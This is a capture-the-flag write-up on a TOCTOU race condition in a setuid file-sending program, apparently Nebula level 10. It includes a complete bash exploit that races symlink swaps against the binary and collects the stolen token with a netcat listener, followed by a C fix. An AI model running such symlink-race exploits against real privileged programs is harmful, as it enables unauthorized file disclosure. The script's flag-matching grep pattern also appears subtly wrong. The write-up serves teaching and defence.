Problem
- TOCTOU!
This problem is called Time Of Check To Time Of Use
(TOCTOU or TOCTTOU). Let t1 be the time of a condition-check of a property p, t2 the time of the action to execute if the condition-check succeeds and t3 be the time of the attack.
A TOCTOU-attack is the change of the property in between t1 and t2 so that: t1 < t3 < t2
Exploit
t1 is checking if access is granted to the filename. t2 sends the file, if condition meets. Our goal is to do something with the filename in between t1 and t2. This is pretty easy.
In a first loop Loop1 one handles the file and symlink to the token.
- Create empty file
foo
- Remove created file
foo
- Create symlink(
foo
) to the token - Remove symlink(
foo
) to the token - Goto 1
In a second loop Loop2 one executes the programm flag10
, and tells it to send the file foo
to the specified server.
- /home/flag10/flag10
foo
server
- Goto 1
What one need is a server that listens on port 18211 and saves the input. This can be done at localhost in this scenario.
- netcat -l 18211 -k » /tmp/flag10
There are three possible strings that might occur as input to the server.
- the content of the file
foo
- the string
.oO Oo.
from the programflag10
- the flag itself
This is a simple bash-script that puts all together. Note: grep
checks for the flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | #!/bin/bash schroedingerFile='/tmp/fake_and_real_token' flagFile='/tmp/flag10' rm -f "$schroedingerFile" #init while true ; do # Loop1 echo "Buh" > "$schroedingerFile" #step 1 ln -sf /home/flag10/token "$schroedingerFile" # step 2 and 3 rm "$schroedingerFile" # step 4 done & pidA=$! # start the server netcat -l 18211 -k >> $flagFile & pidB=$! # if the script is cancelled, the loops should be terminated. trap "kill -9 $pidA $pidB && exit 0" SIGINT SIGTERM # execute the program and search for the flag until we have it. stillSearching=1 while [ ! $stillSearching -eq 0 ] ; do /home/flag10/flag10 "$schroedingerFile" 127.0.0.1 >/dev/null 2>&1 grep -v "[Buh|.oO Oo.]" "$flagFile" 2>/dev/null stillSearching=$? done #if the flag is found, the loops should be terminated. kill -9 $pidA $pidB exit 0 |
Lesson / How to fix
- Use immortable bindings! This is the only way of preventing a TOCTOU-attack.
In newer Linux systems one can use file descriptors for this kind of scenario.
linux.die.net notes, that the function int access(const char *pathname, int mode);
should be avoided at all, due to the TOCTOU-attack.
This is a fix for the TOCTOU-attack just as described in the notes-section of linux.die.net
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | int main(int argc, char **argv) { char *file; char *host; int ffd; int uid, euid; int fd; int rc; struct sockaddr_in sin; char buffer[4096]; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; uid = getuid(); euid = geteuid(); /* temporarily set the euid to the uid */ seteuid(uid); if ((ffd = open(file, O_RDONLY)) == -1) { fprintf(stderr, "no accessCannot open file\n"); exit(EXIT_FAILURE); } /* set the euid back to the original value */ seteuid(euid); rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); write(fd, buffer, rc); printf("wrote file!\n"); } |
other levels…
00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 |
10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 |